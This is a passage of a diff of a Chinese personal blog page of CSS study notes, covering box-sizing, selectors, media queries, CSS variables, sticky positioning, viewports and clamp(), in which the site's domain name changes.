字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置","keywords":["css"],"articleBody":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u003e 内联 \u003e id \u003e 类 \u003e 标签 \u003e 通配符 \u003e 默认样式 \u003e 继承样式\nletter-spacing 字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置\n检测是否有将系统的主题色设置为亮色或者暗色（安卓开启深色模式也有效，可以用于定义夜间模式等等）\n@media (prefers-color-scheme: dark){} // 暗色\n@media (prefers-color-scheme: light){} // 亮色\nonly元素选择\n.app:only-child // 选择唯一性子元素的.app类元素（必须是唯一性）\n.app:only-of-type // 选择指定类型（.app）的子元素（只要是父元素下有.app类就会选择）\nbefore和after插入（伪类）\n.app:before // 在app类的内容之前插入新的内容\n.app:after // 在app类的内容之后插入新的内容\nnth 元素选择（伪类）\n.app:nth-child(2) // 选择app类的父元素下的第2个子元素\n.app:nth-last-child(2) // 选择app类的父元素下的第2个子元素中的带有.app元素\n.app:nth-of-type(2) // 选择属性app类的父元素下的第2个子元素中的全部同类型的元素\n.app:nth-last-of-type(2) // 选择app类的父元素下倒数的第2个子元素中的带有.app元素\ncalc 计算属性\n动态计算长度\nwidth: calc(80% + 100px); // 宽度等于父元素的80%宽度加上100px\ncss单位：px（像素），em（相对于自身元素），rem（相对于根元素，html元素），vw（1vw等于视口宽度的1%，100vw就是视宽100%），vh（1vh等于视口高度的1%，100vh就是视高的100%）\n注意：vw，vh是相对于视口，包括滚动条，而100%不包括滚动条，因此100%和100vw（vh）有可能是不一致的\nIFC全称Inline Formatting Contexts，中文翻译为行内格式化上下文\n只要块级元素中仅包含内联级元素就会触发IFC机制，例如：\nhallo\r特性：\n可以根据IFC容器的属性值，对子元素进行排列，例如text-align: center;\n子元素使用float浮动的优先排列\n上下外边距不生效，但是左右外边距生效，IFC机制就是只计算横向样式，不计算纵向样式\nIFC机制常用于文本行高不同，元素垂直显示的问题\n缓动动画公式：(目标值 - 现在的位置) / 10\ncss3原生变量\n声明变量\n#app{\r--textmax: 10px;\r}\rtextmax变量（属性）目前没有任何含义，因此，css变量也叫做css自定义属性，变量名大小写敏感\nvar()函数用于读取变量的值，例如：\n#app{\rfont-size: var(--textmax, 13px);\r}\rvar()的第二个参数是表示变量的默认值，如果这个变量不存在，就使用这个默认值\n注意：和less那些css预处理器不同，css原生变量只能用于属性值，不能用于属性名\n如果变量值是字符串，可以进行拼接，而且变量带有单位，不可写为字符串\n如果变量值是数值，需要calc()函数才能进行拼接，例如：\n#app{\rfont-size: calc(var(--textmax, 13px) + 10px);\r}\r作用域\ncss变量的优先级和css选择器的优先级是一样的， id \u003e 类 \u003e 标签 \u003e 通配符\n粘性布局\nposition: sticky;\n该属性值还处在实验性期间，因此兼容性差的不堪入目\nposition: -webkit-sticky;\rposition: sticky;\rtop: 20px;\r当元素距离视窗顶部的距离大于20px的时候，以relative定位显示，当小于20px的时候，以fixed定位\n触发生效要有top, right, bottom 或 left其中一个值\n注意：当left和right同时设置时，left的优先级高，当top和bottom同时设置，top的优先级高\n而且使用sticky的元素的父节点的overflow属性必须是visible，因为如果设置hidden，那么就无法滚动，就无法生效了，而设置其他relative|absolute|fixed会导致其相对于父元素，而不是相对于视窗定位了\n动画间隔时间公式，因为大多数显示器默认频率是60Hz，即1秒刷新60次，因此最小间隔为1/60*1000ms = 16.7ms\nBootstrap\n由twitter提供，支持Sass变量，v5版本移除JQuery依赖（所以使用v5版本不需要再导入jQuery了）\n使用简单，直接用类名覆盖样式，就可以使用现成由Bootstrap提供的样式\nBootstrap响应式布局用的@media（media query / 媒体查询）\n如果不喜欢部分Bootstrap的样式，也可以自定义（使用sass修改变量）\ncss Modules（class默认局部生效，解决css冲突）\nCSS Modules不是官方规范，也不是浏览器提供的特性，而是依赖于构建工具（例如webpack）\nclass类名是动态生成的，唯一的，并且准确地对应源码的类样式，样式复用通过composes关键字实现\n例如：\n.test{\rcolor: #ccc;\r}\r.demo{\rcomposes: test;\rbox-sizing: border-box;\r}\rlayout viewport，visual viewport，ideal viewport\nlayout viewport是网页布局的区域，因此layout viewport可能大于视窗区域，也可能小于，当缩放为100%时，layout viewport宽度等于视窗的宽度，一般来说不会发生改变，除非布局元素被清除了\nvisual viewport是视窗区域，这个区域随缩放改变\nideal viewport：每个设备的ideal viewport有可能不同，可以理解为设备区域，这个可以手动设置，例如：\ndevice-width为视窗大小，也就是visual viewport\n上面例子在100%缩放中，ideal viewport的大小（不是指单位）等于设备物理大小\nideal viewport可以通过执行window.screen.width/window.screen.height获得\n在我这里宽度为1463px，那么表示无论设备的物理像素多大，在这里就是用1463px表示\n例如：\nbody{\rpadding: 0;\rmargin: 0;\r}\r#app{\rwidth: 1463px;\rheight: 10px;\rbackground-color: #000;\r}\r可以发现app元素布满了视窗宽度，说明在该设备中css的1463px等于100%\ncss的1px不等于设备中的1px，css的1px和设备的尺寸相关，和视窗的缩放有关（实质上都和devicePixelRatio有关）\ndevicePixelRatio（比例） = device pixels（设备物理像素） / device-independent pixels（设备独立像素，例如css的像素）\ndevicePixelRatio比例可直接通过执行window.devicePixelRatio得到（在我这边为1.75，说明css的1px等于设备的1.75px）\nclamp()，限制一个值在最小值，最大值之间，有3个参数，最小值，首选值，最大值\nwidth: clamp(1rem,10px,5rem);\r当首选值在最大和最小之间时，选择首选值\n当首选值比最大值大时，使用最大值\n当首选值比最小值小时，使用最小值\n","wordCount":"279","inLanguage":"en","datePublished":"2021-06-23T09:16:00Z","dateModified":"2021-06-23T09:16:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/44/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>css的一些知识扩展</h1><div class=post-meta><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/css%e7%9a%84%e4%b8%80%e4%ba%9b%e7%9f%a5%e8%af%86%e6%89%a9%e5%b1%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>box-sizing 盒类型</p><p>该属性是告诉浏览器是以什么盒模型展示的</p><p>IE用的是border-box</p><p>计算方式是外边距+内边距+内容=宽度（高度）</p><p>而像谷歌浏览器之类的用的是content-box</p><p>计算方式是容器的宽度或者高度</p><p>box-sizing: content-box; // 告诉浏览器是以content-box方式计算</p><p>border-box // 告诉浏览器是以border-box方式计算</p><hr><p>css样式优先级</p><p>!important > 内联 > id > 类 > 标签 > 通配符 > 默认样式 > 继承样式</p><hr><p>letter-spacing 字间距</p><p>该属性控制字符之间的距离，字符之间的字符间距，默认值为0</p><p>该属性支持三种类型的数值</p><p>px（像素）</p><p>em（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）</p><p>rem（和em类似，不过它相对的是html元素，而em是相对于它本身）</p><p>例如：</p><p>letter-spacing: 6px;</p><hr><p>columns</p><p>用于指定列宽和列数</p><p>例如：</p><p>columns: 100px 3; // 指的是列宽为100px，列数为3</p><p>column-gap</p><p>用于列与列之间的间隔</p><p>column-gap: 30px;</p><p>column-rule</p><p>用于指定列之间的宽度和样式，以及颜色（列的边线）</p><p>column-rule: 6px dashed #ccc;</p><p>可拆分为</p><p>column-rule-width和column-rule-style和column-rule-color</p><p>column-span</p><p>指定元素应横跨多少列</p><p>column-span: 3;</p><p>all为横跨所有列</p><hr><p>media 媒体查询</p><p>媒体查询常用于响应式布局，为不同屏幕设置不同的样式</p><p>@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置</p><p>检测是否有将系统的主题色设置为亮色或者暗色（安卓开启深色模式也有效，可以用于定义夜间模式等等）</p><p>@media (prefers-color-scheme: dark){} // 暗色</p><p>@media (prefers-color-scheme: light){} // 亮色</p><hr><p>only元素选择</p><p>.app:only-child // 选择唯一性子元素的.app类元素（必须是唯一性）</p><p>.app:only-of-type // 选择指定类型（.app）的子元素（只要是父元素下有.app类就会选择）</p><hr><p>before和after插入（伪类）</p><p>.app:before // 在app类的内容之前插入新的内容</p><p>.app:after // 在app类的内容之后插入新的内容</p><hr><p>nth 元素选择（伪类）</p><p>.app:nth-child(2) // 选择app类的父元素下的第2个子元素</p><p>.app:nth-last-child(2) // 选择app类的父元素下的第2个子元素中的带有.app元素</p><p>.app:nth-of-type(2) // 选择属性app类的父元素下的第2个子元素中的全部同类型的元素</p><p>.app:nth-last-of-type(2) // 选择app类的父元素下倒数的第2个子元素中的带有.app元素</p><hr><p>calc 计算属性</p><p>动态计算长度</p><p>width: calc(80% + 100px); // 宽度等于父元素的80%宽度加上100px</p><hr><p>css单位：px（像素），em（相对于自身元素），rem（相对于根元素，html元素），vw（1vw等于视口宽度的1%，100vw就是视宽100%），vh（1vh等于视口高度的1%，100vh就是视高的100%）</p><p>注意：vw，vh是相对于视口，包括滚动条，而100%不包括滚动条，因此100%和100vw（vh）有可能是不一致的</p><hr><p>IFC全称Inline Formatting Contexts，中文翻译为行内格式化上下文</p><p>只要块级元素中仅包含内联级元素就会触发IFC机制，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"css的一些知识扩展","item":"https://chenjunlinabc.github.io/posts/44/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"css的一些知识扩展","name":"css的一些知识扩展","description":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u0026gt; 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符 \u0026gt; 默认样式 \u0026gt; 继承样式\nletter-spacing 字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置","keywords":["css"],"articleBody":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u003e 内联 \u003e id \u003e 类 \u003e 标签 \u003e 通配符 \u003e 默认样式 \u003e 继承样式\nletter-spacing 字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置\n检测是否有将系统的主题色设置为亮色或者暗色（安卓开启深色模式也有效，可以用于定义夜间模式等等）\n@media (prefers-color-scheme: dark){} // 暗色\n@media (prefers-color-scheme: light){} // 亮色\nonly元素选择\n.app:only-child // 选择唯一性子元素的.app类元素（必须是唯一性）\n.app:only-of-type // 选择指定类型（.app）的子元素（只要是父元素下有.app类就会选择）\nbefore和after插入（伪类）\n.app:before // 在app类的内容之前插入新的内容\n.app:after // 在app类的内容之后插入新的内容\nnth 元素选择（伪类）\n.app:nth-child(2) // 选择app类的父元素下的第2个子元素\n.app:nth-last-child(2) // 选择app类的父元素下的第2个子元素中的带有.app元素\n.app:nth-of-type(2) // 选择属性app类的父元素下的第2个子元素中的全部同类型的元素\n.app:nth-last-of-type(2) // 选择app类的父元素下倒数的第2个子元素中的带有.app元素\ncalc 计算属性\n动态计算长度\nwidth: calc(80% + 100px); // 宽度等于父元素的80%宽度加上100px\ncss单位：px（像素），em（相对于自身元素），rem（相对于根元素，html元素），vw（1vw等于视口宽度的1%，100vw就是视宽100%），vh（1vh等于视口高度的1%，100vh就是视高的100%）\n注意：vw，vh是相对于视口，包括滚动条，而100%不包括滚动条，因此100%和100vw（vh）有可能是不一致的\nIFC全称Inline Formatting Contexts，中文翻译为行内格式化上下文\n只要块级元素中仅包含内联级元素就会触发IFC机制，例如：\nhallo 特性：\n可以根据IFC容器的属性值，对子元素进行排列，例如text-align: center;\n子元素使用float浮动的优先排列\n上下外边距不生效，但是左右外边距生效，IFC机制就是只计算横向样式，不计算纵向样式\nIFC机制常用于文本行高不同，元素垂直显示的问题\n缓动动画公式：(目标值 - 现在的位置) / 10\ncss3原生变量\n声明变量\n#app{ --textmax: 10px; } textmax变量（属性）目前没有任何含义，因此，css变量也叫做css自定义属性，变量名大小写敏感\nvar()函数用于读取变量的值，例如：\n#app{ font-size: var(--textmax, 13px); } var()的第二个参数是表示变量的默认值，如果这个变量不存在，就使用这个默认值\n注意：和less那些css预处理器不同，css原生变量只能用于属性值，不能用于属性名\n如果变量值是字符串，可以进行拼接，而且变量带有单位，不可写为字符串\n如果变量值是数值，需要calc()函数才能进行拼接，例如：\n#app{ font-size: calc(var(--textmax, 13px) + 10px); } 作用域\ncss变量的优先级和css选择器的优先级是一样的， id \u003e 类 \u003e 标签 \u003e 通配符\n粘性布局\nposition: sticky;\n该属性值还处在实验性期间，因此兼容性差的不堪入目\nposition: -webkit-sticky; position: sticky; top: 20px; 当元素距离视窗顶部的距离大于20px的时候，以relative定位显示，当小于20px的时候，以fixed定位\n触发生效要有top, right, bottom 或 left其中一个值\n注意：当left和right同时设置时，left的优先级高，当top和bottom同时设置，top的优先级高\n而且使用sticky的元素的父节点的overflow属性必须是visible，因为如果设置hidden，那么就无法滚动，就无法生效了，而设置其他relative|absolute|fixed会导致其相对于父元素，而不是相对于视窗定位了\n动画间隔时间公式，因为大多数显示器默认频率是60Hz，即1秒刷新60次，因此最小间隔为1/60*1000ms = 16.7ms\nBootstrap\n由twitter提供，支持Sass变量，v5版本移除JQuery依赖（所以使用v5版本不需要再导入jQuery了）\n使用简单，直接用类名覆盖样式，就可以使用现成由Bootstrap提供的样式\nBootstrap响应式布局用的@media（media query / 媒体查询）\n如果不喜欢部分Bootstrap的样式，也可以自定义（使用sass修改变量）\ncss Modules（class默认局部生效，解决css冲突）\nCSS Modules不是官方规范，也不是浏览器提供的特性，而是依赖于构建工具（例如webpack）\nclass类名是动态生成的，唯一的，并且准确地对应源码的类样式，样式复用通过composes关键字实现\n例如：\n.test{ color: #ccc; } .demo{ composes: test; box-sizing: border-box; } layout viewport，visual viewport，ideal viewport\nlayout viewport是网页布局的区域，因此layout viewport可能大于视窗区域，也可能小于，当缩放为100%时，layout viewport宽度等于视窗的宽度，一般来说不会发生改变，除非布局元素被清除了\nvisual viewport是视窗区域，这个区域随缩放改变\nideal viewport：每个设备的ideal viewport有可能不同，可以理解为设备区域，这个可以手动设置，例如：\ndevice-width为视窗大小，也就是visual viewport\n上面例子在100%缩放中，ideal viewport的大小（不是指单位）等于设备物理大小\nideal viewport可以通过执行window.screen.width/window.screen.height获得\n在我这里宽度为1463px，那么表示无论设备的物理像素多大，在这里就是用1463px表示\n例如：\nbody{ padding: 0; margin: 0; } #app{ width: 1463px; height: 10px; background-color: #000; } 可以发现app元素布满了视窗宽度，说明在该设备中css的1463px等于100%\ncss的1px不等于设备中的1px，css的1px和设备的尺寸相关，和视窗的缩放有关（实质上都和devicePixelRatio有关）\ndevicePixelRatio（比例） = device pixels（设备物理像素） / device-independent pixels（设备独立像素，例如css的像素）\ndevicePixelRatio比例可直接通过执行window.devicePixelRatio得到（在我这边为1.75，说明css的1px等于设备的1.75px）\nclamp()，限制一个值在最小值，最大值之间，有3个参数，最小值，首选值，最大值\nwidth: clamp(1rem,10px,5rem); 当首选值在最大和最小之间时，选择首选值\n当首选值比最大值大时，使用最大值\n当首选值比最小值小时，使用最小值\n","wordCount":"279","inLanguage":"en","datePublished":"2021-06-23T09:16:00Z","dateModified":"2021-06-23T09:16:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/44/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>css的一些知识扩展</h1><div class=post-meta><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/css%e7%9a%84%e4%b8%80%e4%ba%9b%e7%9f%a5%e8%af%86%e6%89%a9%e5%b1%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>box-sizing 盒类型</p><p>该属性是告诉浏览器是以什么盒模型展示的</p><p>IE用的是border-box</p><p>计算方式是外边距+内边距+内容=宽度（高度）</p><p>而像谷歌浏览器之类的用的是content-box</p><p>计算方式是容器的宽度或者高度</p><p>box-sizing: content-box; // 告诉浏览器是以content-box方式计算</p><p>border-box // 告诉浏览器是以border-box方式计算</p><hr><p>css样式优先级</p><p>!important > 内联 > id > 类 > 标签 > 通配符 > 默认样式 > 继承样式</p><hr><p>letter-spacing 字间距</p><p>该属性控制字符之间的距离，字符之间的字符间距，默认值为0</p><p>该属性支持三种类型的数值</p><p>px（像素）</p><p>em（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）</p><p>rem（和em类似，不过它相对的是html元素，而em是相对于它本身）</p><p>例如：</p><p>letter-spacing: 6px;</p><hr><p>columns</p><p>用于指定列宽和列数</p><p>例如：</p><p>columns: 100px 3; // 指的是列宽为100px，列数为3</p><p>column-gap</p><p>用于列与列之间的间隔</p><p>column-gap: 30px;</p><p>column-rule</p><p>用于指定列之间的宽度和样式，以及颜色（列的边线）</p><p>column-rule: 6px dashed #ccc;</p><p>可拆分为</p><p>column-rule-width和column-rule-style和column-rule-color</p><p>column-span</p><p>指定元素应横跨多少列</p><p>column-span: 3;</p><p>all为横跨所有列</p><hr><p>media 媒体查询</p><p>媒体查询常用于响应式布局，为不同屏幕设置不同的样式</p><p>@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置</p><p>检测是否有将系统的主题色设置为亮色或者暗色（安卓开启深色模式也有效，可以用于定义夜间模式等等）</p><p>@media (prefers-color-scheme: dark){} // 暗色</p><p>@media (prefers-color-scheme: light){} // 亮色</p><hr><p>only元素选择</p><p>.app:only-child // 选择唯一性子元素的.app类元素（必须是唯一性）</p><p>.app:only-of-type // 选择指定类型（.app）的子元素（只要是父元素下有.app类就会选择）</p><hr><p>before和after插入（伪类）</p><p>.app:before // 在app类的内容之前插入新的内容</p><p>.app:after // 在app类的内容之后插入新的内容</p><hr><p>nth 元素选择（伪类）</p><p>.app:nth-child(2) // 选择app类的父元素下的第2个子元素</p><p>.app:nth-last-child(2) // 选择app类的父元素下的第2个子元素中的带有.app元素</p><p>.app:nth-of-type(2) // 选择属性app类的父元素下的第2个子元素中的全部同类型的元素</p><p>.app:nth-last-of-type(2) // 选择app类的父元素下倒数的第2个子元素中的带有.app元素</p><hr><p>calc 计算属性</p><p>动态计算长度</p><p>width: calc(80% + 100px); // 宽度等于父元素的80%宽度加上100px</p><hr><p>css单位：px（像素），em（相对于自身元素），rem（相对于根元素，html元素），vw（1vw等于视口宽度的1%，100vw就是视宽100%），vh（1vh等于视口高度的1%，100vh就是视高的100%）</p><p>注意：vw，vh是相对于视口，包括滚动条，而100%不包括滚动条，因此100%和100vw（vh）有可能是不一致的</p><hr><p>IFC全称Inline Formatting Contexts，中文翻译为行内格式化上下文</p><p>只要块级元素中仅包含内联级元素就会触发IFC机制，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
     &lt;span&gt;
         hallo
     &lt;/span&gt;
@@ -144,8 +144,8 @@
     background-color: #000;
 }
 </code></pre><p>可以发现app元素布满了视窗宽度，说明在该设备中css的1463px等于100%</p><p>css的1px不等于设备中的1px，css的1px和设备的尺寸相关，和视窗的缩放有关（实质上都和devicePixelRatio有关）</p><p>devicePixelRatio（比例） = device pixels（设备物理像素） / device-independent pixels（设备独立像素，例如css的像素）</p><p>devicePixelRatio比例可直接通过执行window.devicePixelRatio得到（在我这边为1.75，说明css的1px等于设备的1.75px）</p><hr><p>clamp()，限制一个值在最小值，最大值之间，有3个参数，最小值，首选值，最大值</p><pre><code>width: clamp(1rem,10px,5rem);
-</code></pre><p>当首选值在最大和最小之间时，选择首选值</p><p>当首选值比最大值大时，使用最大值</p><p>当首选值比最小值小时，使用最小值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/45/><span class=title>« Prev</span><br><span>Grid布局学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/43/><span class=title>Next »</span><br><span>一些常用的进制转换方法</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>当首选值在最大和最小之间时，选择首选值</p><p>当首选值比最大值大时，使用最大值</p><p>当首选值比最小值小时，使用最小值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/45/><span class=title>« Prev</span><br><span>Grid布局学习笔记</span></a>
